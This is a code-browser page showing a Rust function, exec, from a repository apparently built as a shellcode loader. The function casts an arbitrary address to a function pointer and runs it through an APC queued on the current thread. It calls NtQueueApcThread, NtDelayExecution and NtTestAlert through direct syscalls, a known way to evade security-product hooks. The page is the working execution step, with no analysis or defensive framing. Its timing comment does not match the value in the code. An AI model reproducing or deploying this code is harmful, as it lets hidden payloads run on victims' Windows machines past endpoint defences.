MCPcopy Create free account
hub / github.com/echQoQ/RustSL / exec

Function exec

src/exec/apc_veh_syscall.rs:24–64  ·  view source on GitHub ↗
(p: usize)

Source from the content-addressed store, hash-verified

22type NtTestAlert = unsafe extern "system" fn() -> i32;
23
24pub unsafe fn exec(p: usize) -> Result<(), String> {
25 // Use the current thread pseudo-handle (-2).
26 const CURRENT_THREAD: HANDLE = HANDLE(-2isize as isize);
27
28 // Queue APC
29 let queue_status = syscall!(
30 "NtQueueApcThread",
31 NtQueueApcThread,
32 CURRENT_THREAD,
33 Some(core::mem::transmute::<usize, unsafe extern "system" fn(*mut c_void, *mut c_void, *mut c_void)>(p)),
34 ptr::null_mut(),
35 ptr::null_mut(),
36 ptr::null_mut()
37 );
38
39 if queue_status != 0 {
40 return Err(format!("NtQueueApcThread failed: 0x{:x}", queue_status));
41 }
42
43 // Alertable wait to deliver APC
44 // Relative interval: -1_000_000 * 10ns = -10ms (alertable sleep)
45 let mut interval: i64 = -10_000_000;
46
47 let delay_status = syscall!(
48 "NtDelayExecution",
49 NtDelayExecution,
50 1u8, // Alertable = TRUE
51 &mut interval as *mut i64
52 );
53
54 if delay_status == 0 {
55 // Ensure pending APCs are delivered
56 let _test_status = syscall!(
57 "NtTestAlert",
58 NtTestAlert,
59 );
60 Ok(())
61 } else {
62 Err(format!("NtDelayExecution failed: 0x{:x}", delay_status))
63 }
64}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected